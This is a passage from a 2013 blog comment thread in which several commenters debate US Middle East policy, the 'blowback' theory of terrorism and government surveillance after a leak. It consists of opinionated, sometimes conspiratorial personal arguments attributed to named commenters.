and actions**.** We don’t know what the result would be if in fact we left the
region altogether, or at the very least began taking a less invasive
approach**.** We don’t know what would happen if we promoted legitimate
peace**.** We don’t know, because we’ve never tried it. You claim omniscience,
positing that the threat to Western governments would continue to be a reality
no matter what our approach is**.** Okay, you may be right. But what evidence
do you have to support that**?** All the evidence supports my argument,
because that’s all we’ve ever tried**.** It would be interesting to see what
could evolve, if in fact we took a different approach**.** I’m not saying
world peace would ensue, I’m simply stating that we don’t know**.** I’m also
stating that the reason secret policies are justified under the blanket excuse
of “National Security”, is because of the so-called ubiquitous threat of
terrorism**.** I believe, and I think it’s fair to state, that as long as we
continue to carry out the kinds of policies that we currently enact in the
Middle East, the conflict has no chance of ceasing, and the “threat” will
always exist**.** Thus the justification for instrusive government
surveillance that I think threatens our liberty**.**

So I disagree, the statement you quoted of mine has a lot to do with
government spying**.** The one justifies the other. What have you heard every
government official claim this week when defending these programs**?** “They
keep us safe from the threat of terrorism.” If our policies cause blowback-
otherwise known as terrorism- leading to the perceived necessity to have
widespread access to vital information, how exactly does that statement have
nothing to do with government spying**?**

One thing is for sure though: this argument of ours is moot because nothing is
going to change**.** Not as long as the Middle East is ripe with oil.

Regarding the programs and the whistleblower**.** Here is what we know. The
programs are real. The government claims they are legal. \(Surely you don’t
believe that everything that is deemed “legal” by the government is ALWAYS
morally upright, and espouses liberty to the fullest**?**\) This law was
created, debated, and enacted in secret, and it allows massive personal
information to by collected and stored**.** This whistleblower leaked it and
now the necessary debate has been launched**.** So whether or not you agree
with what these programs are doing, the point is they should not have been
operating in the dark**.** Not when it involves the majority of the American
citizenry**.** We should have been included in the original debate so that we
can decide as a nation, whether his tradeoff of privacy for security is worth
it or not**.** That’s the point**.** Again, don’t get bogged down in the spin.
The intent is not what matters here**.** It is the substance of what was
revealed. That’s what we should be talking about**.**

Reply

     * <img src='img/Temp2_9496.png' width='40' height='40' /> ryan wilson says: 
June 12, 2013 at 12:08 am

Simple question**.** Where were the only truly successful anti-American
terrorists from**?** The 9/11 plot, after all, is the only one that managed to
kill more Americans than, say, the average American psychopath, like Gacy, Son
of Sam or the guy who shot up the Sikh temple**.**

Were the 9/11 people from random Muslim countries where the more violent
children grow up wanting to kill infidels**?** No, they were from the two
countries where American money has been most responsibility for keeping
ruthless torturers in power for decades**.** If 9/11 had been a pan-Islamic
project, I might think your argument was rooted in something more than your
own insecurities**.**

But then, so much was apparent when you began your rant with bombing “our
enemies**.** ” Random men, women and children in Afghan villages, reporters on
Iraqi streets, farmboys handed over by corrupt warlords to meet a quota – such
people may be your enemies**.** They aren’t mine.

Reply

  3. <img src='img/Temp2_9499.png' width='40' height='40' /> N**.** Friedman says: 
June 12, 2013 at 11:56 am

Terry writes:

> The propping up of brutal dictators that kill their own people- see Egypt,
> Libya \(pre-2011\), Iran \(1953-1979\), Yemen, Saudi Arabia, Bahrain, Iraq
> \(pre-Desert Storm\)
The Iranians are not Arabs**.** The government in Iran, in the early period of
American support, was the government of choice of the Ayatollahs**.** While
the US had involvement in the downfall of the earlier government, the main
player opposed to Mohammad Mosaddegh was the religious elites**.** Mosaddegh
threatened their estates and other societal privileges**.** Moreover, the
Arabs and Iranians are not a bonded group**.** They have a long history of
mutual animosity. So, lumping them together as effected the same way by an
event is to be disingenuous**.**

The Saudi government was not propped up by the US**.** It had widespread
support from the religious elite, who hate the US**.** Moreover, the Saudis
remain in power – and not due to the US but to the fact that there is
sufficient support among the Saudis**.**

The Libyan government had, for much of the relevant period, no real relations
with the US**.** The US did bomb in Libya after the government was shown to
have been involved in bombings, etc**.** , in Europe. The US killed, if I
recall correctly, the daughter of Qaddafi**.** The US bombing was directed to
take out Qaddafi. The US had somewhat better relations with him after
2003**.** Then, the US sided with the rebels against him. We certainly did not
prop up the Libyan government**.**

There has been fighting in Yemen on and off for decades**.** We had little to
do with it**.**

In Egypt, the argument that the US propped up the government is, again,
disingenuous**.** we did provide aid to the government**.** When the Egyptians
protested, the US dropped, within two weeks, its support for the regime in
power**.** The US provided considerable aid to the country but, clearly, the
US did keep the regime in power as it also provides aid to the new
government**.** Please note, however, that so far as protecting the rights of
Egyptians is concerned, the new government is far more repressive than the
government it replace**.**

We did support Iraq**.** And Iraq was repressive. However, again, the notion
that we prevented the formation of more representative government is belied by
neighboring Syria, where the US did not prop up the government yet the same
form of tyrannical government held sway**.**

The repressiveness of the ME is not caused by the US**.** It is a complicated
matter primarily involving issues of large scale illiteracy, oppressive
political ideologies, religious institutions, etc**.** Perhaps the most
important driving force in these countries is that religious institutions want
a restoration and enhancement of their societal privileges – privileges to
which Western ideas are a serious threat**.**

So far as Israel is concerned, the US is not the “unilateral” supporter of
Israel**.** And, even if it were, it is not the reason the US is targeted**.**
The US is targeted because it is the biggest threat to the agenda of the
Islamic restoration movement \(aka Islamism\), which, as noted, sees Western
civilization as a central impediment to the societal privileges of the
religious class and its supporters**.**

Perhaps, you mean to hold that you support the restoration of religious
institutions and superstitions and ideas in the Islamic regions because you
see them as a rational response to Western aggression**.**

Reply

     * <img src='img/Temp2_9499.png' width='40' height='40' /> N**.** Friedman says: 
June 12, 2013 at 12:00 pm

Correction:

Strike: “The US provided considerable aid to the country but, clearly, the US
did keep the regime in power as it also provides aid to the new
government**.** ”

Substitute: “The US provided considerable aid to the country but, clearly, the
US did not keep the regime in power and such is also shown by the fact that
the US also provides aid to the new government**.** ”

Reply

     * <img src='img/Temp2_9495.png' width='40' height='40' /> Neil says: 
June 12, 2013 at 5:09 pm

Hi Neil

I really didn’t want to reply to your first comment, or this one, because I’ve
been out dancing, drinking, and lots more for the last several hours, and I
really shouldn’t be trying to form cogent arguments in this state**.**

But I can’t help myself.

Neil, you seem completely credulous when it comes to the US Government’s
stated goals, values, and history**.** You don’t seem at all interested in
questioning whether the narrative the government has spun around the last 13
years, and the 50 before that, is actually a fair telling of reality, or if
it’s been distorted exactly as much as necessary to conceal the true nature of
the US attitude to international relations, and maintain this myth that ‘we
are the good guys’**.**

You seem to take the ‘good guys’ story and accept that as truth, despite their
being very little evidence in favour, and a lot more against**.**

My opinion is the opposite. When it comes to the amount of trouble caused
around the world, over a long period of time, the US government, using the CIA
and other agencies, have caused more misery, more death, more injustice, more
destruction of natural habitat, and more damage to the earth’s global ecology
than any other single organisation in history**.** Anyone’s history.

I’ll just discuss one example.

A couple of hundred years ago, England was worried about the trade deficit
with China, with all the tea the English were buying, it seemed the Chinese
didn’t want any English goods at all**.** This was terrible for the King’s
wallet, so they hatched a plan**.**

They would first go to india and grow thousands of bushels of opium
poppies**.** They had been grown there for centuries but the British turned a
small farming industry into a proper mass-scale operation that could make huge
quantities of opium all the time**.**

They would load up their ships with opium and sail to China.Once the Chinese
were sufficiently in opium’s thrall they would happily give any amount of tea
for the opium they so desperately needed**.**

China refused to allow the opium to be imported, because they had dealt with
opium before and they knew very well how destructive it would be to their
society to have half the population as addicts**.**

But the British wouldn’t take no for an answer, so they sailed their superior
navy right into the Chinese harbour and just blew everything to bits; the
Chinese fleet and many sailors and soldiers were killed, and in the end, the
English were able to force the Chinese government to agree to purchase this
opium in return for tea, and IIRC they even made the Chinese pay for the
damage that the English warships incurred during the brief, very lopsided
‘battle’**.**

It is hardly believable that a national government would openly traffic drugs
into another country as an economic lever**.** But they did, because they were
monumental bastards, and they were operating in a time with very different
standards for moral behaviour**.**

Today, we are much less accepting of that type of thing, certainly no country
could even try doing that openly today, they would be thrown out of the
UN**.**

But the US has done much worse, at least twice, in separate but prolonged
airlifts of tons and tons of drugs directly onto US streets for sale**.**

First, during the Vietnam war, the CIA flew planeloads of the finest heroin
from laboratories they set up in Laos, directly to the US for sale on the
street in NY and other cities**.** Why would they do this**?** Well, the
mostly needed the money. The CIA has always had operations that were so
secret, they couldn’t even request funding for fear of discovery**.** You
would be surprised to learn that the dozen or so mega-wealthy dynastic
families that owned most of the US around 1900 were very happy to pour vast
sums into the CIA’s operations; after all, the CIA was making sure it was safe
to rape other countries of oil and whatever else**.** The price was pretty
cheap.

This continued for many years, and I suspect it still does**.** The Iran/Conta
deal was not a one-off,it was a specific instance of a reliable trading
strategy that the CIA and others have used over and over as and when they
needed funds for the operations they know are too illegal to even admit to the
president**.** Considering what he does know about, can you imagine what sort
of crimes they must be doing if they are too scared to tell the president**?**

Anyway, the heroin from Laos dried up once the US was kicked out of the whole
south-east Asia, and it took them a while to set up a similar operation**.**
This time they were using US Military transports to bring hundreds of tons of
cocaine from their friends in the wealthy criminal syndicates of South
America**.** To fund more secret criminal operations.

Do you really still think you ought to take what the government tells you at
face value, when they have this kind of history that is well known**?** There
have only been two presidents since FDR that have tried to curtail the CIA’s
activities and power, and one was shot in Dallas, and the other had to resign
in disgrace**.** No president has tried to touch them since then.

I don’t think the word ‘evil’ is even sufficient for this group of
monsters**.** But I haven’t got anything that seems bad enough.

I hope you actually check out my assertions, and respond with criticism of my
point, rather than picking some minor issue and writing your whole reply about
only that**.**

The only question that really matters here is : why are you so eager to trust
these people**?**

I don’t know how anyone can claim to have some knowledge of US history and not
see how we are the worst terrorists of all, and we have been for a long
time**.**

Reply

     * <img src='img/Temp2_9501.png' width='40' height='40' /> Terry Adams says: 
June 12, 2013 at 6:00 pm

Strike “prop up”, and insert “support” or “aid” or “arm” or “influence”**.**
Anyway you want to spin it, we’ve been supporting- in one way or another- some
of the most brutal regimes in that region, and the people know this and hate
us for it**.**

No one said that what the US does in that region, is the SOLE reason for
terrorist blowback, etc**.** But it’s foolish not to think that it’s a major
part…you have to factor in the whole, which includes the illiteracy,
repressive ideologies, etc**.** that you mentioned. But remember, if we are
helping oppressive regimes remain in power, as we have done and continue to
do, and these regimes actively stifle democratic movements, economic and
educational reforms, etc**.** , then we are playing a role in that part of the
process as well**.**

It’s in our interest to keep these governments undemoctratic**.** That’s why
we have such great access to oil. So when we intervene while telling everyone
we’re promoting peace and democracy, while we continue to support some of the
worst regimes in the world, it’s not hard to imagine why people don’t take us
seriously**.**

And after everything I’ve written that you’ve commented on, do you honestly
think I support the “restoration of religious institutions and superstitions
and ideas” because I see them as a “rational response to Western
Agression”**?** Of course not. I’m merely pointing out the incommodious truth
that what we do in the Middle East, doesn’t help any effort to thwart
terrorism; and can in many cases be itself labeled terrorism**.** While I
don’t condone violence in the name of any religion or ideology, I ‘m not blind
to how it is used to motivate and justify aggressive responses to Western
intervention**.** But I would also suggest that the responses aren’t just
religious in nature**.** They are political too. This was what I was
attempting to analyze in my post the other day**.**

Reply

       * <img src='img/Temp2_9499.png' width='40' height='40' /> N**.** Friedman says: 
June 13, 2013 at 11:24 am

The blowback theory has, so far as I recall, its origins in the US support for
jihadists who fought the Soviets in Afghanistan**.** The theory held that we
brought divergent revolutionaries together and that, having met during their
war against the Soviets, they built an international organization which, since
it saw us merely as friends of convenience during that war, next turned their
attention to fighting the US**.**

The theory has morphed into the notion that there is a reaction to what we
have supported in the ME that results in terrorism in the US**.** I think it
is a nonsense theory, one that flies in the face of common sense**.** If it
were true that the US behavior is the source of problems, you would think that
in parts of the world where the US has been truly atrocious – as in Central
and South America -, the same blowback would occur from those regions as
well**.** They do not.

People from Vietnam, where the US was not exactly an angel, have not commenced
any terrorism against the US**.** The Philippians, a country the US also
mistreated, does not have a population that tries to terrorize the US**.**

In the ME, the same behavior by the US results in no terrorism against the US
by non-Muslims. That, notwithstanding a very large Christian population**.**

Again, the driving force – the thing that distinguishes the reactions involved
here from those of other groups – here is societal and, most particularly, the
effort by the religious classes to restore their societal privileges**.** It
is those who support that cause \(which is why the fighters always reference
religion\) who are involved in the terrorism here**.** It is not Christians
from the Arab regions who, were your theory correct, are involved**.**

I understand your consternation that I assert that you seem to find rational
the struggle of the clerical class in the Islamic regions**.** However, the
theory your assert more or less matches the propaganda employed by the
clerical class**.** So, in my way of thinking, you are acting in service of
their fight when you repeat, in effect, their rhetoric**.**

Please note, I do not claim that there are no just claims coming from the Arab
regions**.** However, the notion that it is the US that keeps the Arabs
“down,” so to speak, or that our behavior towards Arabs is the central driving
force here has, in my view, exactly no truth to it**.**

I suggest you ponder the distinction between India and Pakistan**.** These two
Indian states both have reason to hate the West**.** While I can imagine
someone from India attacking the US, I rather doubt that it will be either a
Sikh or Hindu**.** Why? Because the clerical class of those groups does not
see the West as a threat to its societal position**.** Muslim clerics in very
large numbers do see the matter that way**.** And, needless to say, Pakistanis
have been involved in terrorism in the US – and, to note, played a major role
in funding the Sept**.** 11, 2001 attack.

       * <img src='img/Temp2_9501.png' width='40' height='40' /> Terry Adams says: 
June 13, 2013 at 6:12 pm

The major difference, insofar as the comparisons you’ve made is the following:

1**.**\) While we have supported corrupt dictators and brutal regimes
elsehwere \(particularly Latin America\), we haven’t OCCUPIED various
countries there for extended periods of time**.** Did we use proxy armies to
act as death squads to murder thousands of people that opposed the leaders we
were installing and supporting**?** Yes. But the kind of sanctions and
policies we’ve enacted throughout the Middle East, have been far more invasive
over the long term**.**

And don’t think that Vietnam laid down…they fought us tooth and nail,
fanatically, until we left that country**.** I think the comparison to Vietnam
and what’s been happening in somewhere like Afghanistan, are fairly
analogous**.** The only difference is, we haven’t been fighting an “organized
army”**.** And because the nature of the enemy being so different, we haven’t
lost nearly the same amount of US soldiers**.**

2.\) Please recall that I’m not trying to argue that there isn’t a religious
extremist element to this**.** I argued that in the very first piece you
commented on**.** I’m aware that this extremist element is real, dangerous,
and explosive and that this plays a role in the “blowback” or terrorist
threat**.** I’ve simply been arguing that if you expect to destroy an
ideology, or at best, the existence of a threat, by using extreme violence and
oppression, then if the ideology in question is equally brutal and violent,
it’s safe to assume- as the last decade plus has proven- that you aren’t
quelling terrorism, you’re giving it reason to spread**.**

  4. <img src='img/Temp2_9499.png' width='40' height='40' /> N**.** Friedman says: 
June 13, 2013 at 11:29 pm

Terry writes:

> we haven’t OCCUPIED various countries there for extended periods of
> time**.**
We did not occupy various countries in the ME until we were attacked in
2001**.** In fact, we did not occupy any ME country in 2001. At present, we
occupy no ME country although we have the remnants of the occupation army in
Iraq**.** We did, for a number of years, starting in 2003, occupy Iraq**.**

We have an occupation army in Afghanistan, but that country is not in the
ME**.** However, unless time runs backwards, the army arrived after lunatics
from Afghanistan and Pakistan directed and paid Saudis and a few Egyptians –
neither country ever being occupied by the US – to fly planes into buildings
on 9/11/01**.** So, you have cause and effect backwards on this point**.**

The 9/11/01 attack, the worst terrorist attack in history, occurred at a time
when the US was not occupying any Arab country**.** Moreover, most of those
involved in the attack came from Saudi Arabia, a very rich country which owns
large chunks of real estate and a large number of commercial interests in the
US and has substantial influence with the US government**.** There was no
occupation army in Saudi Arabia, then or now**.** In fact, Saudi Arabia has
not been occupied by a non-Muslim power since the period of the Muslim
prophet**.** Yet, it is the source of personnel for the 9/11/01 attack**.**

The one part of the Arab regions which had a reasonable reason to perhaps want
to attack Americans was Iraq**.** The US, after all, created a no-fly zone
over that country and placed sanctions on the country and, no doubt, this was
pretty brutal**.** On the other hand, the Iraqi government was bad beyond all
imagination, taking out their mistakes in the first Iraq war \(a war they
started\) on the swamp Arabs in the south of the country and the Kurds – a
people who might claim reasonably to be occupied \(albeit by Arabs\)**.**
Iraqis, not the US, gassed Kurds in large numbers. And, even without our
presence overhead, Iraqis had it very bad – much as Syrians did \(where the US
had no real influence\)**.**

Moreover, if you want to speak about a long term occupation, Germany was
occupied by the US and the USSR and France and the UK for after WWII for years
after WWII**.** That did not lead to terrorism in the US. The US thereafter
imposed a new form of government on most of the country thereafter and kept a
very, very large army in the country for decades**.** There was, in fact,
resentment but it did not lead to terrorists attacks in the US**.**

You write:

> I’ve simply been arguing that if you expect to destroy an ideology, or at
> best, the existence of a threat, by using extreme violence and oppression,
> then if the ideology in question is equally brutal and violent, it’s safe to
> assume- as the last decade plus has proven- that you aren’t quelling
> terrorism, you’re giving it reason to spread**.**
I am not arguing that we should have this policy or that one**.** I frankly do
not think that we have much influence over the ideology involved because \(a\)
it is religiously based and, hence, not readily subject to falsification and
\(b\) because the issue is not simply an ideology but, rather, a RELIGIOUSLY
JUSTIFIED POLITICAL MOVEMENT, which is something different than a mere
ideology**.** A movement is far more difficult to oppose than a mere ideology

I think it can also be said that you cannot stop terrorism by \(a\) ignoring
it or \(b\) giving in to the demands of the terrorists want**.** I do not
think that we shall, by the means we are employing, stop it either**.** If we
are to use violent means, then we would have to be far more brutal than the US
will likely ever be, unless there were a truly catastrophic attack in the US,
in which case the ME would be recast with force on a scale the US has not ever
employed in the ME**.**

So far as violence is concerned, it is worth considering that the one
ideological movement the US and its allies unequivocally shut down was
fascism**.** It was, in fact, stopped with violence; in fact, violence on a
scale far greater than had, at the time, ever been employed by any country in
history**.** I might recommend that you pick up a book called _The Bitter Road
to Freedom: The Human Cost of Allied Victory in World War II Europe_ , by
Prof**.** William Hitchcock. The book is the story of WWII from the point of
view of the liberated**.** However, along the way, the book tells the story of
how the USSR liberated territory – employing the technique of mass rape, with
10′s of thousands of mass rapes committed \(most likely as an actual war
policy\) to send a message to the Germans**.** The book also tells of how
inexact the war was, with towns bombed to the ground by the Allies by
mistake**.** It is a heart wrenching book but enlightening, if your goal is to
learn how the world operates**.**

The world is no stranger to committed ideological movements**.** The movement
pushed by Islamic clerics to restore and enhance their societal privileges is,
like the movement of the fascists and the communists, one that is unlikely to
be influenced by our good \(or bad or indifferent\) behavior**.** The fascists
were beaten on the battle field. The communists went, more or less,
economically bankrupt**.** The Islamists, in power, have tended to lose
political support over time – Iran being a good example**.** With a bit of
luck, Islamist rule in Egypt \(and other ME countries\) will cause a backlash
as well; with a bit of luck before one of them starts a major war, causing
even more suffering**.**

Reply

     * <img src='img/Temp2_9502.png' width='40' height='40' /> Brian says: 
July 2, 2013 at 1:06 pm

You continue to miss all the main points**.** No one is saying “ignore
terrorists”**.** Nor is anyone saying “Give them what they want”. All anyone
in this thread is arguing for is a different approach that places diplomacy
\(with an emphasis on true democratic processes\) at the forefront**.**

And also, that we must be able to talk honestly about what Western foreign
policy is, what its goals are, and how that affects the ebb and flow regarding
violence, blowback, and the continuation of the circular nature of this
“conflict”**.** Abandoning euphemism and hyperbole is a good place to
start**.**

Speaking of hyperbole…Please stop using WWII comparisons to this conflict**.**
It’s nowhere close to being useful and it detracts from your central
argument**.**

Reply

       * <img src='img/Temp2_9499.png' width='40' height='40' /> N**.** Friedman says: 
July 2, 2013 at 2:24 pm

> Speaking of hyperbole…Please stop using WWII comparisons to this
> conflict**.** It’s nowhere close to being useful and it detracts from your
> central argument**.**
I do not think I used WWII as a comparison**.** I used the fact of a Western
occupation of Germany as a comparison**.** That was after the war. And, it is
a completely valid comparison.

And, the point certainly is applicable**.** It shows rather clearly that
occupation does not automatically lead terrorism**.** That does not make
occupation a good thing but it does show that the contention that the issue is
occupation of Arab lands – which did not, in any event, actually exist before
9/11/01 – is a bogus, factually false theory**.**

Now, as for a more general consideration of the relationship between the
period of WWII and now, we are not currently is a major war in the traditional
sense**.** So, that sort of comparison would not make any sense**.**

A larger and more important question – one which numerous historians have
inquired about – is whether this period is akin to the early or mid
1930′s**.** There certainly are similarities – but also dissimilarities –
between the eras**.** The most notable similarities, at least to me, are the
rise of a subterranean ideological movement that sees hatred of the OTHER as
central, which sees hatred of Jews as critically important, which includes a
purification \(in the case of Islamism, takfiri\) agenda to rid all impure
influences on their own people and which seeks to expand itself**.** Moreover,
there is the parallel that much of the intelligentsia in both eras sought to
explain away the ideology as a response to Western wrongdoing \(i**.** e.,
that they have legitimate grievances to be addressed which, if addressed, will
eliminate distasteful aspects of their agendas\)**.** Different are the
religious basis for the Islamist movement and the fact that a movement that
effectively rejects science has limited ability to mount an effective
army**.** No doubt there are other similarities and differences**.** I just
wanted to highlight some which have been raised by historians**.**

  5. <img src='img/Temp2_9500.png' width='40' height='40' /> susan jackson says: 
June 24, 2013 at 12:13 pm

What an intelligent debate**.**

Reply

  6. <img src='img/Temp2_9502.png' width='40' height='40' /> Brian says: 
July 2, 2013 at 3:02 pm

N**.** Friedman- here is how I would counter your German occupation claim**.**
While there might have been resentment from the German people for our presence
there, it was their government that instigated world-wide aggression**.** It
was their government that was responsible for genocide**.** Our occupation was
not unilaterally supported…the entire world backed our presence there**.** It
wasn’t like Iraq- a country that did not attack us on 9/11, and was invaded by
us under false pretences**.** They had not instigated world-wide aggression,
nor indeed threatened US or Western indepedence in any way shape or form**.**
Yet still we occupied them for a decade and killed many thousands of their
civilians both directly and indirectly**.**

As the author states in his responses to you here, and as he addressed in some
of his recent pieces, he fully acknowledges- as do I- the role that religious
extremism plays in all of this**.** Again, no one is denying that. We are
simply stating that Western involvement \(get off the word occupation- our
involvement in that region goes back for decades, far before 9/11**.** You
must see that we have installed, overthrown, supported, and armed various
regimes that are…

Reply

     * <img src='img/Temp2_9499.png' width='40' height='40' /> N**.** Friedman says: 
July 2, 2013 at 3:58 pm

Brian, Please read back my comment**.** Terrorism led to the invasion and
occupation of Iraq**.** It may not have caused it but, absent the 9/11/01
attack, there would have been no invasion and certainly no occupation**.**

Since 9/11/01, there has been a considerable amount of terrorism but, quite
clearly, nothing so far on the order of what occurred on 9/11/01**.** Hence,
to look to occupation as the cause of terrorism is nonsense**.** Terrorism
caused the occupation, an occupation which ended**.**

Now, how can you possibly have cause and effect so very backwards**?** This is
not a brief for invading countries. It is merely to note the obvious, which is
that, without any US occupation, the US was viciously attacked on 9/11/01**.**
Thereafter, there has been less, not more, terrorism in the US as measured in
casualties, harm to property, etc**.** , etc. There have been numerous small
time attacks but to suggest that occupation is the cause here when, prior to
any such occupation, there was a vicious terrorist attack, the largest
terrorist attack in all of history thus far, is, as I noted, an impossible
argument to justify**.**

Reply

       * <img src='img/Temp2_9502.png' width='40' height='40' /> Brian says: 
July 2, 2013 at 5:02 pm

What about the bombings of the USS Cole**?** What about the bombing of the
Marine barracks in Beirut in 1983**?** Were these not terrorist attacks that
predate 9/11**?** If you agree that they were, what were the motivations for
them**?** Just radical Islam? Think hard about where these bombings took
place**.**

Now, I’ll urge you again to stop fixating on the word and idea of “occupation”
as the only way the West has been involved in the Middle East**.** Certainly
you’re familiar with things like coups, monetary and military support for
regimes, and even things like US/CIA involvement in arming, training, and
supplying Islamic fundamentalists in Afghanistan when the Soviets invaded**.**
You are aware of these things right? You seem to like history, so I’m also
going to assume that you’re familiar with British and French occupation of
various Middle Eastern/North African countries for many, many years prior to
any US involvement**.** I’ll ask you again, drop the word “occupation” and
replace it with the word “involement”**.** If you can do that, perhaps you’ll
see my point**.**

  7. <img src='img/Temp2_9502.png' width='40' height='40' /> Brian says: 
July 2, 2013 at 3:06 pm

…undemocratic in nature, for quite a while now**.**\) Fixating on what
countries were actually occupied and when, while also ignoring the difference
in circumstances regarding why Iraq and Afghanistan have been occupied,
compared to the occupation of Germany in the wake of WWII, just won’t fly**.**

Hell, look at the number of military bases we have throughout the Middle
East**.** We’ve literally encircled Iran**.** Do you think the people are
happy about that? Yes the ideology is part of the problem**.** But so is the
Western presence. Can you truly not see how both play a role**?**

\(I had to split up my earlier comment**.** I’m not sure why, but it wouldn’t
allow me to continue writing**.**\)

Reply

  8. <img src='img/Temp2_9499.png' width='40' height='40' /> N**.** Friedman says: 
July 2, 2013 at 4:15 pm

> Hell, look at the number of military bases we have throughout the Middle
> East**.** We’ve literally encircled Iran. Do you think the people are happy
> about that**?**
Why should the presence of bases cause terrorism**?** We also have bases in
Europe. Do they cause terrorism? We have bases all over the world, in
fact**.** Do our bases in and around Japan cause terrorism? What about our
bases in S. Korea**?**

The issue here is not bases but context**.** Large numbers of Muslims have
embraced a nasty ideological movement which sees the OTHER not only as
problematic \(something which all people see the OTHER as\) but as involved in
a conspiracy to undermine them**.**

Now, in answer to your specific question, I do not think Arabs see themselves
as having common cause with Persians**.** I think they hate each other. In
fact, they hate each other at least as much as large numbers of them hate Jews
– which is saying something**.** In fact, Arabs hate and fear Persians enough
that there are Arab leaders who have advocated buying from the Israelis in
order to defend themselves from the Persians**.** The leaders of numerous Arab
governments want US troops because they fear being dominated by Persians**.**
On this issue, Arab leaders have considerable support, grudging as it may be,
among their own people**.**

Your assumption appears to be that what goes on in the Arab world can be
explained by one or two “facts**.** ” That would not be true even if you had
your facts all correct**.** As in the rest of the world, there are a great
many factors at play**.** Among them include the fact that average people in
the Arab regions have never had any actual circumstances where they could form
their own opinions**.** Rather, as has been claimed about the West but,
frankly, is far more descriptive of the Arab regions, opinion is manufactured,
most particularly by governments which seek to maintain their rule by blaming
others for all problems. That has been an effective governing strategy
throughout the world, except in parts of the world where public opinion plays
a greater role**.**

In all parts of the world where monotheism has played a role, the most
effective sign that government manipulation of public opinion is involved is
where problems are blamed on great Satanic forces**.** The US plays that role
in the Arab regions. So do Jews**.** In the Arab regions, all forces that
contend for governance use the mechanism of Satanic forces as part of their
political agenda**.**

To confuse the presence of US troops – which are present all over the world –
with a cause for terrorism \(while terrorism against the US seems to come from
people who hold to a specific ideological movement\) – is nonsensical**.**

This is not an argument for keeping US troops all over the world**.** It
merely notes that your argument does not adequately explain a sufficient
number of facts to be a very plausible explanation**.**

Reply

     * <img src='img/Temp2_9502.png' width='40' height='40' /> Brian says: 
July 2, 2013 at 5:25 pm

Have we been droning, bombing, sanctioning, and supporting corrupt dicators in
Europe, South Korea and other parts of Asia**?** Have we been attacking any of
those nations and killing their people**?** Have we been killing their
innocent civilians and helping anti-democratic governments keep pro-democracy
movements from getting off the ground**?** Have we invaded one of their
nations under a false premise, killing hundreds of thousands of their
civilians in the process**?** Once again, your comparison falls short, because
this is precisely what we’ve been doing in the Middle East and that’s the
difference**.**

You accuse me of fixating on one or two “causes” but it’s you that’s arguing
in this way**.** You think I’m arguing occupation as the sole cause- and once
again, you fixate on the word occupation instead of thinking in the broader
terms of involvement**.** But in reality “occupation” or “involvement” only
adds to what bombings, dronings, wars, sanctions, etc**.** have been doing.
These various realities combine to create many reasons for hatred**.** And
guess what, one of those reasons also happens to be religious extremism**.**
So no, I’m not saying only 2 things are causing terrorism**.** It’s far more
complex and involved than that.

You admit in your last comment that many Middle Eastern governments and their
dictators repress public opinion and keep their people down…that’s precisely
my point**.** Guess who supports a lot of those governments? WESTERN
POWERS**.** Support for those governments is also known as INVOLVEMENT**.**
The people in these countries know that. Again, it’s another source of
resentment.

Another factor that baffles me, in regards to Western involvement predating
9/11 is the obvious presence of Western oil companies**.** Why do you think we
are truly there?

Again, I think you are being dishonest about terrorism in this context**.**
Religious ideology, Western Involvement, economic disparity, educational
weakness, along with many many other factors, play roles in what can create
fertile ground for terrorist activity**.**

Reply

       * <img src='img/Temp2_9499.png' width='40' height='40' /> N**.** Friedman says: 
July 2, 2013 at 8:41 pm

Again, cause and effect has a time element to it**.** There were no US drones
killing anyone in Arab countries prior to 9/11/01**.** There were no
occupations of any Arab countries prior to that date**.** There were no wars –
apart from the Gulf War, which had wide support among Arabs – prior to that
date**.** What on Earth are you talking about?

That you would like a different US policy does not mean that, however right or
wrong the US’s policy may be, that it is the cause of all that ails the world
including Arabs and other Muslims. We have some things which can be examined
but none of that are the reason that believers in Islam are in crisis**.**

We are not the reason that Middle Eastern governments and Islamists decided to
turn us into a Satan**.**

Moreover, the manner of governance in the Middle East is unaffected by whether
the US supported or opposed a government**.** Syria was not an ally of the US.
Iran is not an ally of the US**.** When Iran was our ally, its government,
horrible as it was, by the standards of today’s “Republic” of Iran, far more
liberal and open**.** And, unlike most of the Arab regions, the US did, in
fact, intervene to some extent in Iran’s governance, at least in the early
1950′s**.** We, at the time, supported the revolt by the Mullahs against
Mosaddeq, which was certainly wrong**.** But, note: the primary party against
him was the Mullahs, not the US or Britain**.**

We have not kept Arab dictators in power against the will of the people**.**
In Egypt, as soon as the people arose, the US did nothing to prevent the
change**.** We will likely do nothing now to prevent further change in
Egypt**.**

The issue is the manner by which Arab and Muslim governments and their power
rivals vie for power**.** We did not make Assad’s dad kill 40,000 people in
Hama in 1982**.** We did not cause the current Assad to massacre people all
over Syria**.** We have next to no influence on Syria and have not had
influence my entire life – and I am nearly 60**.**

  9. <img src='img/Temp2_9499.png' width='40' height='40' /> N**.** Friedman says: 
July 2, 2013 at 9:04 pm

Brian writes: “What about the bombings of the USS Cole**?** What about the
bombing of the Marine barracks in Beirut in 1983**?** Were these not terrorist
attacks that predate 9/11**?** If you agree that they were, what were the
motivations for them**?** Just radical Islam? Think hard about where these
bombings took place**.** ”

The background to this was the terrible civil war in Lebanon**.** That was
1983**.** It helped advance Hezbollah. We should have stayed out of that
war**.** But it has nothing to do with terrorism today other than as allowing
Hezbollah to show it could be tough**.**

Reply

     * <img src='img/Temp2_9502.png' width='40' height='40' /> Brian says: 
July 3, 2013 at 8:53 am

The point is we were INVOLVED**\!****\!**\!\! Wrongly involved.

What about the USS Cole…what was that about**?**

And do me a favor…define terrorism**.**

Reply

       * <img src='img/Temp2_9499.png' width='40' height='40' /> N**.** Friedman says: 
July 3, 2013 at 1:29 pm

> What about the USS Cole…what was that about**?**
You mean the Navy ship that was attacked while in a port**.** That was about
religious lunatics who thought it important to attack a US Navy ship**.** The
lunatics thought this would help them show how tough they are**.**

> And do me a favor…define terrorism**.**
I am not here to be the dictionary for you**.** However, my dictionary
includes this definition, which seems reasonable to me is the one that appears
in the Oxford English dictionary: “the use of violence for political purposes,
for example putting bombs in public places**.** ” I understand that this
definition assumes – but does not require – the terrorist to be acting as an
individual or group**.** I tend to think that right as governments could
commit similar types of acts**.**

  10. <img src='img/Temp2_9502.png' width='40' height='40' /> Brian says: 
July 3, 2013 at 9:05 am

N**.** Friedman- In regards to your last lengthy comment where you begin by
talking about cause and effect…**.** I couldn’t agree more that cause and
effect has a time table…which is precisely why it’s historically ignorant to
pretend that this conflict begins with 9/11**.** I am now convinced that you
don’t comprehend so well, as you continue to fixate on the word occupation in
spite of my many attempts to get you to understand that there are other ways
